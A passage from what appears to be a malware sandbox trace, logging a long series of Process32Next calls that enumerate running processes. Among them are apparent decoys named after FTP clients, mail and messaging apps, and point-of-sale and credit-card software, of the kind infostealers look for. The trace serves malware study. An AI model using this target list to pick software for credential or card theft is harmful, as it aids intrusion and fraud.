th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.981] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.983] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.985] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.987] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.989] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.991] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.993] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.036] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0265.038] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0265.040] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0265.042] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.044] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0265.046] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0265.048] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.050] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.052] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0265.054] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0265.056] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0265.058] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0265.060] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0265.062] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0265.064] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0265.067] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0265.069] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0265.071] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0265.130] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0265.132] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0265.134] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0265.136] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0265.137] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0265.139] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0265.140] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0265.142] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0265.143] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0265.145] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0265.147] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0265.148] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0265.150] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0265.151] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0265.152] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0265.154] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0265.156] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0265.158] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0265.160] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0265.162] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0265.164] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0265.165] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0265.167] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0265.169] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0265.171] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0265.173] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0265.222] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0265.224] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0265.227] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0265.229] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0265.231] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0265.234] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0265.236] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0265.242] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0265.244] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0265.245] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0265.247] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0265.249] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0265.251] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0265.253] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0265.255] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0265.257] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0265.259] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0265.261] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0265.263] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0265.303] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0265.306] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0265.308] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0265.309] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0265.311] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0265.313] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0265.316] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0265.318] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0265.319] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0265.322] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0265.323] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0265.325] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0265.327] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.329] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, 